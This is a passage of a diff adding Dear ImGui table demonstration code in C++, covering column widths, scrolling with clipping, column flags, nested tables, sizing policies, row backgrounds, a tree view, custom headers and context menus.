flags2)) + { + static char text_bufs[3 * 5][16]; // Mini text storage for 3x5 cells + static bool init = true; + if (!show_widget_frame_bg) + ImGui::PushStyleColor(ImGuiCol_FrameBg, 0); + for (int cell = 0; cell < 3 * 5; cell++) + { + ImGui::TableNextColumn(); + if (init) + strcpy(text_bufs[cell], "edit me"); + ImGui::SetNextItemWidth(-FLT_MIN); + ImGui::PushID(cell); + ImGui::InputText("##cell", text_bufs[cell], IM_ARRAYSIZE(text_bufs[cell])); + ImGui::PopID(); + } + if (!show_widget_frame_bg) + ImGui::PopStyleColor(); + init = false; + ImGui::EndTable(); + } + ImGui::PopStyleVar(); + + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Explicit widths")) + { + static ImGuiTableFlags flags = ImGuiTableFlags_None; + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_NoKeepColumnsVisible", &flags, ImGuiTableFlags_NoKeepColumnsVisible); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); + PopStyleCompact(); + + if (ImGui::BeginTable("##table1", 4, flags)) + { + // We could also set ImGuiTableFlags_SizingPolicyFixed on the table and all columns will default to ImGuiTableColumnFlags_WidthFixed. + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, 100.0f); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 15.0f); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 30.0f); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 15.0f); + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 4; column++) + { + ImGui::TableSetColumnIndex(column); + if (row == 0) + ImGui::Text("(%.2f)", ImGui::GetContentRegionAvail().x); + ImGui::Text("Hello %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Vertical scrolling, with clipping")) + { + HelpMarker("Here we activate ScrollY, which will create a child window container to allow hosting scrollable contents.\n\nWe also demonstrate using ImGuiListClipper to virtualize the submission of many items."); + static ImGuiTableFlags flags = ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); + PopStyleCompact(); + + // When using ScrollX or ScrollY we need to specify a size for our table container! + // Otherwise by default the table will fit all available space, like a BeginChild() call. + ImVec2 size = ImVec2(-FLT_MIN, TEXT_BASE_HEIGHT * 8); + if (ImGui::BeginTable("##table1", 3, flags, size)) + { + ImGui::TableSetupScrollFreeze(0, 1); // Make top row always visible + ImGui::TableSetupColumn("One", ImGuiTableColumnFlags_None); + ImGui::TableSetupColumn("Two", ImGuiTableColumnFlags_None); + ImGui::TableSetupColumn("Three", ImGuiTableColumnFlags_None); + ImGui::TableHeadersRow(); + + // Demonstrate using clipper for large vertical lists + ImGuiListClipper clipper; + clipper.Begin(1000); + while (clipper.Step()) + { + for (int row = clipper.DisplayStart; row < clipper.DisplayEnd; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Hello %d,%d", column, row); + } + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Horizontal scrolling")) + { + HelpMarker( + "When ScrollX is enabled, the default sizing policy becomes ImGuiTableFlags_SizingPolicyFixed," + "as automatically stretching columns doesn't make much sense with horizontal scrolling.\n\n" + "Also note that as of the current version, you will almost always want to enable ScrollY along with ScrollX," + "because the container window won't automatically extend vertically to fix contents (this may be improved in future versions)."); + static ImGuiTableFlags flags = ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; + static int freeze_cols = 1; + static int freeze_rows = 1; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); + ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); + ImGui::DragInt("freeze_cols", &freeze_cols, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); + ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); + ImGui::DragInt("freeze_rows", &freeze_rows, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); + PopStyleCompact(); + + // When using ScrollX or ScrollY we need to specify a size for our table container! + // Otherwise by default the table will fit all available space, like a BeginChild() call. + ImVec2 outer_size = ImVec2(-FLT_MIN, TEXT_BASE_HEIGHT * 8); + if (ImGui::BeginTable("##table1", 7, flags, outer_size)) + { + ImGui::TableSetupScrollFreeze(freeze_cols, freeze_rows); + ImGui::TableSetupColumn("Line #", ImGuiTableColumnFlags_NoHide); // Make the first column not hideable to match our use of TableSetupScrollFreeze() + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableSetupColumn("Four"); + ImGui::TableSetupColumn("Five"); + ImGui::TableSetupColumn("Six"); + ImGui::TableHeadersRow(); + for (int row = 0; row < 20; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 7; column++) + { + // Both TableNextColumn() and TableSetColumnIndex() return true when a column is visible or performing width measurement. + // Because here we know that: + // - A) all our columns are contributing the same to row height + // - B) column 0 is always visible, + // We only always submit this one column and can skip others. + // More advanced per-column clipping behaviors may benefit from polling the status flags via TableGetColumnFlags(). + if (!ImGui::TableSetColumnIndex(column) && column > 0) + continue; + if (column == 0) + ImGui::Text("Line %d", row); + else + ImGui::Text("Hello world %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Columns flags")) + { + // Create a first table just to show all the options/flags we want to make visible in our example! + const int column_count = 3; + const char* column_names[column_count] = { "One", "Two", "Three" }; + static ImGuiTableColumnFlags column_flags[column_count] = { ImGuiTableColumnFlags_DefaultSort, ImGuiTableColumnFlags_None, ImGuiTableColumnFlags_DefaultHide }; + static ImGuiTableColumnFlags column_flags_out[column_count] = { 0, 0, 0 }; // Output from TableGetColumnFlags() + + if (ImGui::BeginTable("##flags", column_count, ImGuiTableFlags_None)) + { + PushStyleCompact(); + for (int column = 0; column < column_count; column++) + { + ImGui::TableNextColumn(); + ImGui::PushID(column); + ImGui::AlignTextToFramePadding(); // FIXME-TABLE: Workaround for wrong text baseline propagation + ImGui::Text("'%s'", column_names[column]); + ImGui::Spacing(); + ImGui::Text("Input flags:"); + EditTableColumnsFlags(&column_flags[column]); + ImGui::Spacing(); + ImGui::Text("Output flags:"); + ShowTableColumnsStatusFlags(column_flags_out[column]); + ImGui::PopID(); + } + PopStyleCompact(); + ImGui::EndTable(); + } + + // Create the real table we care about for the example! + // We use a scrolling table to be able to showcase the difference between the _IsEnabled and _IsVisible flags above, otherwise in + // a non-scrolling table columns are always visible (unless using ImGuiTableFlags_NoKeepColumnsVisible + resizing the parent window down) + const ImGuiTableFlags flags + = ImGuiTableFlags_SizingPolicyFixed | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY + | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV + | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Sortable; + ImVec2 size = ImVec2(-FLT_MIN, TEXT_BASE_HEIGHT * 9); + if (ImGui::BeginTable("##table", column_count, flags, size)) + { + for (int column = 0; column < column_count; column++) + ImGui::TableSetupColumn(column_names[column], column_flags[column]); + ImGui::TableHeadersRow(); + for (int column = 0; column < column_count; column++) + column_flags_out[column] = ImGui::TableGetColumnFlags(column); + float indent_step = (float)((int)TEXT_BASE_WIDTH / 2); + for (int row = 0; row < 8; row++) + { + ImGui::Indent(indent_step); // Add some indentation to demonstrate usage of per-column IndentEnable/IndentDisable flags. + ImGui::TableNextRow(); + for (int column = 0; column < column_count; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("%s %s", (column == 0) ? "Indented" : "Hello", ImGui::TableGetColumnName(column)); + } + } + ImGui::Unindent(indent_step * 8.0f); + + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Nested")) + { + HelpMarker("This demonstrate embedding a table into another table cell."); + + if (ImGui::BeginTable("nested1", 2, ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) + { + ImGui::TableSetupColumn("A0"); + ImGui::TableSetupColumn("A1"); + ImGui::TableHeadersRow(); + + ImGui::TableNextColumn(); + ImGui::Text("A0 Cell 0"); + { + float rows_height = TEXT_BASE_HEIGHT * 2; + if (ImGui::BeginTable("nested2", 2, ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) + { + ImGui::TableSetupColumn("B0"); + ImGui::TableSetupColumn("B1"); + ImGui::TableHeadersRow(); + + ImGui::TableNextRow(ImGuiTableRowFlags_None, rows_height); + ImGui::TableNextColumn(); + ImGui::Text("B0 Cell 0"); + ImGui::TableNextColumn(); + ImGui::Text("B0 Cell 1"); + ImGui::TableNextRow(ImGuiTableRowFlags_None, rows_height); + ImGui::TableNextColumn(); + ImGui::Text("B1 Cell 0"); + ImGui::TableNextColumn(); + ImGui::Text("B1 Cell 1"); + + ImGui::EndTable(); + } + } + ImGui::TableNextColumn(); ImGui::Text("A0 Cell 1"); + ImGui::TableNextColumn(); ImGui::Text("A1 Cell 0"); + ImGui::TableNextColumn(); ImGui::Text("A1 Cell 1"); + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Sizing policies, cell contents")) + { + HelpMarker("This section allows you to interact and see the effect of StretchX vs FixedX sizing policies depending on whether Scroll is enabled and the contents of your columns."); + enum ContentsType { CT_ShortText, CT_LongText, CT_Button, CT_FillButton, CT_InputText }; + static ImGuiTableFlags flags = ImGuiTableFlags_ScrollY | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_RowBg; + static int contents_type = CT_LongText; + static int column_count = 3; + + PushStyleCompact(); + ImGui::PushItemWidth(TEXT_BASE_WIDTH * 30); + ImGui::Combo("Contents", &contents_type, "Short Text\0Long Text\0Button\0Fill Button\0InputText\0"); + if (contents_type == CT_FillButton) + { + ImGui::SameLine(); + HelpMarker("Be mindful that using right-alignment (e.g. size.x = -FLT_MIN) creates a feedback loop where contents width can feed into auto-column width can feed into contents width."); + } + ImGui::DragInt("Columns", &column_count, 0.1f, 1, 64, "%d", ImGuiSliderFlags_AlwaysClamp); + ImGui::PopItemWidth(); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerH", &flags, ImGuiTableFlags_BordersInnerH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterH", &flags, ImGuiTableFlags_BordersOuterH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyStretch", &flags, ImGuiTableFlags_SizingPolicyStretch)) + flags &= ~ImGuiTableFlags_SizingPolicyFixed; // Can't specify both sizing polices so we clear the other + ImGui::SameLine(); HelpMarker("Default if _ScrollX if disabled. Makes columns use _WidthStretch policy by default."); + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyFixed", &flags, ImGuiTableFlags_SizingPolicyFixed)) + flags &= ~ImGuiTableFlags_SizingPolicyStretch; // Can't specify both sizing polices so we clear the other + ImGui::SameLine(); HelpMarker("Default if _ScrollX if enabled. Makes columns use _WidthFixed by default, or _WidthFixedResize if _Resizable is not set."); + ImGui::CheckboxFlags("ImGuiTableFlags_PreciseWidths", &flags, ImGuiTableFlags_PreciseWidths); + ImGui::SameLine(); HelpMarker("Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth."); + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); + ImGui::CheckboxFlags("ImGuiTableFlags_NoClip", &flags, ImGuiTableFlags_NoClip); + PopStyleCompact(); + + ImVec2 outer_size(-FLT_MIN, TEXT_BASE_HEIGHT * 7); + if (ImGui::BeginTable("##nways", column_count, flags, outer_size)) + { + for (int cell = 0; cell < 10 * column_count; cell++) + { + ImGui::TableNextColumn(); + int column = ImGui::TableGetColumnIndex(); + int row = ImGui::TableGetRowIndex(); + + ImGui::PushID(cell); + char label[32]; + static char text_buf[32] = ""; + sprintf(label, "Hello %d,%d", column, row); + switch (contents_type) + { + case CT_ShortText: ImGui::TextUnformatted(label); break; + case CT_LongText: ImGui::Text("Some longer text %d,%d\nOver two lines..", column, row); break; + case CT_Button: ImGui::Button(label); break; + case CT_FillButton: ImGui::Button(label, ImVec2(-FLT_MIN, 0.0f)); break; + case CT_InputText: ImGui::SetNextItemWidth(-FLT_MIN); ImGui::InputText("##", text_buf, IM_ARRAYSIZE(text_buf)); break; + } + ImGui::PopID(); + } + ImGui::EndTable(); + } + + ImGui::TextUnformatted("Item Widths"); + ImGui::SameLine(); + HelpMarker("Showcase using PushItemWidth() and how it is preserved on a per-column basis"); + if (ImGui::BeginTable("##table2", 3, ImGuiTableFlags_Borders)) + { + ImGui::TableSetupColumn("small"); + ImGui::TableSetupColumn("half"); + ImGui::TableSetupColumn("right-align"); + ImGui::TableHeadersRow(); + + for (int row = 0; row < 3; row++) + { + ImGui::TableNextRow(); + if (row == 0) + { + // Setup ItemWidth once (instead of setting up every time, which is also possible but less efficient) + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(TEXT_BASE_WIDTH * 3.0f); // Small + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(-ImGui::GetContentRegionAvail().x * 0.5f); + ImGui::TableSetColumnIndex(2); + ImGui::PushItemWidth(-FLT_MIN); // Right-aligned + } + + // Draw our contents + static float dummy_f = 0.0f; + ImGui::PushID(row); + ImGui::TableSetColumnIndex(0); + ImGui::SliderFloat("float0", &dummy_f, 0.0f, 1.0f); + ImGui::TableSetColumnIndex(1); + ImGui::SliderFloat("float1", &dummy_f, 0.0f, 1.0f); + ImGui::TableSetColumnIndex(2); + ImGui::SliderFloat("float2", &dummy_f, 0.0f, 1.0f); + ImGui::PopID(); + } + ImGui::EndTable(); + } + + ImGui::TextUnformatted("Stretch + ScrollX"); + ImGui::SameLine(); + HelpMarker( + "Showcase using Stretch columns + ScrollX together: " + "this is rather unusual and only makes sense when specifying an 'inner_width' for the table!\n" + "Without an explicit value, inner_width is == outer_size.x and therefore using Stretch columns + ScrollX together doesn't make sense."); + static ImGuiTableFlags flags3 = ImGuiTableFlags_SizingPolicyStretch | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_RowBg; + static float inner_width = 1000.0f; + PushStyleCompact(); + ImGui::PushID("flags3"); + ImGui::PushItemWidth(TEXT_BASE_WIDTH * 30); + ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags3, ImGuiTableFlags_ScrollX); + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyStretch", &flags3, ImGuiTableFlags_SizingPolicyStretch)) + flags3 &= ~ImGuiTableFlags_SizingPolicyFixed; // Can't specify both sizing polices so we clear the other + if (ImGui::CheckboxFlags("ImGuiTableFlags_SizingPolicyFixed", &flags3, ImGuiTableFlags_SizingPolicyFixed)) + flags3 &= ~ImGuiTableFlags_SizingPolicyStretch; // Can't specify both sizing polices so we clear the other + ImGui::DragFloat("inner_width", &inner_width, 1.0f, 0.0f, FLT_MAX, "%.1f"); + ImGui::PopItemWidth(); + ImGui::PopID(); + PopStyleCompact(); + if (ImGui::BeginTable("##table3", 7, flags3 | ImGuiTableFlags_SizingPolicyStretch | ImGuiTableFlags_ContextMenuInBody, outer_size, inner_width)) + { + for (int cell = 0; cell < 20 * 7; cell++) + { + ImGui::TableNextColumn(); + ImGui::Text("Hello world %d,%d", ImGui::TableGetColumnIndex(), ImGui::TableGetRowIndex()); + } + ImGui::EndTable(); + } + + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Row height")) + { + HelpMarker("You can pass a 'min_row_height' to TableNextRow().\n\nRows are padded with 'style.CellPadding.y' on top and bottom, so effectively the minimum row height will always be >= 'style.CellPadding.y * 2.0f'.\n\nWe cannot honor a _maximum_ row height as that would requires a unique clipping rectangle per row."); + if (ImGui::BeginTable("##Table", 1, ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersInnerV)) + { + for (int row = 0; row < 10; row++) + { + float min_row_height = (float)(int)(TEXT_BASE_HEIGHT * 0.30f * row); + ImGui::TableNextRow(ImGuiTableRowFlags_None, min_row_height); + ImGui::TableNextColumn(); + ImGui::Text("min_row_height = %.2f", min_row_height); + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Outer size")) + { + // Showcasing use of outer_size.x == 0.0f and ImGuiTableFlags_NoHostExtendY + // The default value of outer_size.x is -FLT_MIN which right-align tables. + // Using outer_size.x == 0.0f on a table with no scrolling and no stretch column we can make them tighter. + ImGui::Text("Using auto/all width, using NoHostExtendY:"); + static ImGuiTableFlags flags = ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_ContextMenuInBody | ImGuiTableFlags_RowBg | ImGuiTableFlags_SizingPolicyFixed; + static bool use_all_width = false; + ImGui::Checkbox("Use all width", &use_all_width); + ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendY", &flags, ImGuiTableFlags_NoHostExtendY); + if (ImGui::BeginTable("##table3", 3, flags, ImVec2(use_all_width ? -FLT_MIN : 0.0f, TEXT_BASE_HEIGHT * 5.5f))) + { + for (int row = 0; row < 10; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableNextColumn(); + ImGui::Text("Cell %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::SameLine(); + ImGui::Text("Hello!"); + + ImGui::Spacing(); + + ImGui::Text("Using explicit size:"); + if (ImGui::BeginTable("##table1", 3, ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg, ImVec2(TEXT_BASE_WIDTH * 30, 0.0f))) + { + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableNextColumn(); + ImGui::Text("Cell %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::SameLine(); + if (ImGui::BeginTable("##table2", 3, ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg, ImVec2(TEXT_BASE_WIDTH * 30, 0.0f))) + { + for (int row = 0; row < 3; row++) + { + ImGui::TableNextRow(0, TEXT_BASE_HEIGHT * 1.5f); + for (int column = 0; column < 3; column++) + { + ImGui::TableNextColumn(); + ImGui::Text("Cell %d,%d", column, row); + } + } + ImGui::EndTable(); + } + + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Background color")) + { + static ImGuiTableFlags flags = ImGuiTableFlags_RowBg; + static int row_bg_type = 1; + static int row_bg_target = 1; + static int cell_bg_type = 1; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags, ImGuiTableFlags_Borders); + ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); + ImGui::SameLine(); HelpMarker("ImGuiTableFlags_RowBg automatically sets RowBg0 to alternative colors pulled from the Style."); + ImGui::Combo("row bg type", (int*)&row_bg_type, "None\0Red\0Gradient\0"); + ImGui::Combo("row bg target", (int*)&row_bg_target, "RowBg0\0RowBg1\0"); ImGui::SameLine(); HelpMarker("Target RowBg0 to override the alternating odd/even colors,\nTarget RowBg1 to blend with them."); + ImGui::Combo("cell bg type", (int*)&cell_bg_type, "None\0Blue\0"); ImGui::SameLine(); HelpMarker("We are colorizing cells to B1->C2 here."); + IM_ASSERT(row_bg_type >= 0 && row_bg_type <= 2); + IM_ASSERT(row_bg_target >= 0 && row_bg_target <= 1); + IM_ASSERT(cell_bg_type >= 0 && cell_bg_type <= 1); + PopStyleCompact(); + + if (ImGui::BeginTable("##Table", 5, flags)) + { + for (int row = 0; row < 6; row++) + { + ImGui::TableNextRow(); + + // Demonstrate setting a row background color with 'ImGui::TableSetBgColor(ImGuiTableBgTarget_RowBgX, ...)' + // We use a transparent color so we can see the one behind in case our target is RowBg1 and RowBg0 was already targeted by the ImGuiTableFlags_RowBg flag. + if (row_bg_type != 0) + { + ImU32 row_bg_color = ImGui::GetColorU32(row_bg_type == 1 ? ImVec4(0.7f, 0.3f, 0.3f, 0.65f) : ImVec4(0.2f + row * 0.1f, 0.2f, 0.2f, 0.65f)); // Flat or Gradient? + ImGui::TableSetBgColor(ImGuiTableBgTarget_RowBg0 + row_bg_target, row_bg_color); + } + + // Fill cells + for (int column = 0; column < 5; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("%c%c", 'A' + row, '0' + column); + + // Change background of Cells B1->C2 + // Demonstrate setting a cell background color with 'ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, ...)' + // (the CellBg color will be blended over the RowBg and ColumnBg colors) + // We can also pass a column number as a third parameter to TableSetBgColor() and do this outside the column loop. + if (row >= 1 && row <= 2 && column >= 1 && column <= 2 && cell_bg_type == 1) + { + ImU32 cell_bg_color = ImGui::GetColorU32(ImVec4(0.3f, 0.3f, 0.7f, 0.65f)); + ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, cell_bg_color); + } + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Tree view")) + { + static ImGuiTableFlags flags = ImGuiTableFlags_BordersV | ImGuiTableFlags_BordersOuterH | ImGuiTableFlags_Resizable | ImGuiTableFlags_RowBg | ImGuiTableFlags_NoBordersInBody; + + if (ImGui::BeginTable("##3ways", 3, flags)) + { + // The first column will use the default _WidthStretch when ScrollX is Off and _WidthFixed when ScrollX is On + ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_NoHide); + ImGui::TableSetupColumn("Size", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 12.0f); + ImGui::TableSetupColumn("Type", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 18.0f); + ImGui::TableHeadersRow(); + + // Simple storage to output a dummy file-system. + struct MyTreeNode + { + const char* Name; + const char* Type; + int Size; + int ChildIdx; + int ChildCount; + static void DisplayNode(const MyTreeNode* node, const MyTreeNode* all_nodes) + { + ImGui::TableNextRow(); + ImGui::TableNextColumn(); + const bool is_folder = (node->ChildCount > 0); + if (is_folder) + { + bool open = ImGui::TreeNodeEx(node->Name, ImGuiTreeNodeFlags_SpanFullWidth); + ImGui::TableNextColumn(); + ImGui::TextDisabled("--"); + ImGui::TableNextColumn(); + ImGui::TextUnformatted(node->Type); + if (open) + { + for (int child_n = 0; child_n < node->ChildCount; child_n++) + DisplayNode(&all_nodes[node->ChildIdx + child_n], all_nodes); + ImGui::TreePop(); + } + } + else + { + ImGui::TreeNodeEx(node->Name, ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_Bullet | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_SpanFullWidth); + ImGui::TableNextColumn(); + ImGui::Text("%d", node->Size); + ImGui::TableNextColumn(); + ImGui::TextUnformatted(node->Type); + } + } + }; + static const MyTreeNode nodes[] = + { + { "Root", "Folder", -1, 1, 3 }, // 0 + { "Music", "Folder", -1, 4, 2 }, // 1 + { "Textures", "Folder", -1, 6, 3 }, // 2 + { "desktop.ini", "System file", 1024, -1,-1 }, // 3 + { "File1_a.wav", "Audio file", 123000, -1,-1 }, // 4 + { "File1_b.wav", "Audio file", 456000, -1,-1 }, // 5 + { "Image001.png", "Image file", 203128, -1,-1 }, // 6 + { "Copy of Image001.png", "Image file", 203256, -1,-1 }, // 7 + { "Copy of Image001 (Final2).png","Image file", 203512, -1,-1 }, // 8 + }; + + MyTreeNode::DisplayNode(&nodes[0], nodes); + + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + // Demonstrate using TableHeader() calls instead of TableHeadersRow() + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Custom headers")) + { + const int COLUMNS_COUNT = 3; + if (ImGui::BeginTable("##table1", COLUMNS_COUNT, ImGuiTableFlags_Borders | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) + { + ImGui::TableSetupColumn("Apricot"); + ImGui::TableSetupColumn("Banana"); + ImGui::TableSetupColumn("Cherry"); + + // Dummy entire-column selection storage + // FIXME: It would be nice to actually demonstrate full-featured selection using those checkbox. + static bool column_selected[3] = {}; + + // Instead of calling TableHeadersRow() we'll submit custom headers ourselves + ImGui::TableNextRow(ImGuiTableRowFlags_Headers); + for (int column = 0; column < COLUMNS_COUNT; column++) + { + ImGui::TableSetColumnIndex(column); + const char* column_name = ImGui::TableGetColumnName(column); // Retrieve name passed to TableSetupColumn() + ImGui::PushID(column); + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0)); + ImGui::Checkbox("##checkall", &column_selected[column]); + ImGui::PopStyleVar(); + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); + ImGui::TableHeader(column_name); + ImGui::PopID(); + } + + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + char buf[32]; + sprintf(buf, "Cell %d,%d", column, row); + ImGui::TableSetColumnIndex(column); + ImGui::Selectable(buf, column_selected[column]); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + // Demonstrate creating custom context menus inside columns, while playing it nice with context menus provided by TableHeadersRow()/TableHeader() + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Context menus")) + { + HelpMarker("By default, right-clicking over a TableHeadersRow()/TableHeader() line will open the default context-menu.\nUsing ImGuiTableFlags_ContextMenuInBody we also allow right-clicking over columns body."); + static ImGuiTableFlags flags1 = ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders | ImGuiTableFlags_ContextMenuInBody; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_ContextMenuInBody", (unsigned int*)&flags1, ImGuiTableFlags_ContextMenuInBody); + PopStyleCompact(); + + // Context Menus: first example + // [1.1] Right-click on the TableHeadersRow() line to open the default table context menu. + // [1.2] Right-click in columns also open the default table context menu (if ImGuiTableFlags_ContextMenuInBody is set) + const int COLUMNS_COUNT = 3; + if (ImGui::BeginTable("##table1", COLUMNS_COUNT, flags1)) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + + // [1.1]] Right-click on the TableHeadersRow() line to open the default table context menu. + ImGui::TableHeadersRow(); + + // Submit dummy contents + for (int row = 0; row < 4; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < COLUMNS_COUNT; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Cell %d,%d", column, row); + } + } + ImGui::EndTable(); + } + + // Context Menus: second example + // [2.1] Right-click on the TableHeadersRow() line to open the default table context menu. + // [2.2] Right-click on the ".." to open a custom popup + // [2.3] Right-click in columns to open another custom popup + HelpMarker("Demonstrate mixing table context menu (over header), item context button (over button) and custom per-colum context menu (over column body)."); + ImGuiTableFlags flags2 = ImGuiTableFlags_Resizable | ImGuiTableFlags_SizingPolicyFixed | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders; + if (ImGui::BeginTable("##table2", COLUMNS_COUNT, flags2)) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + + // [2.1] Right-click on the TableHeadersRow() line to open the default table context menu. + 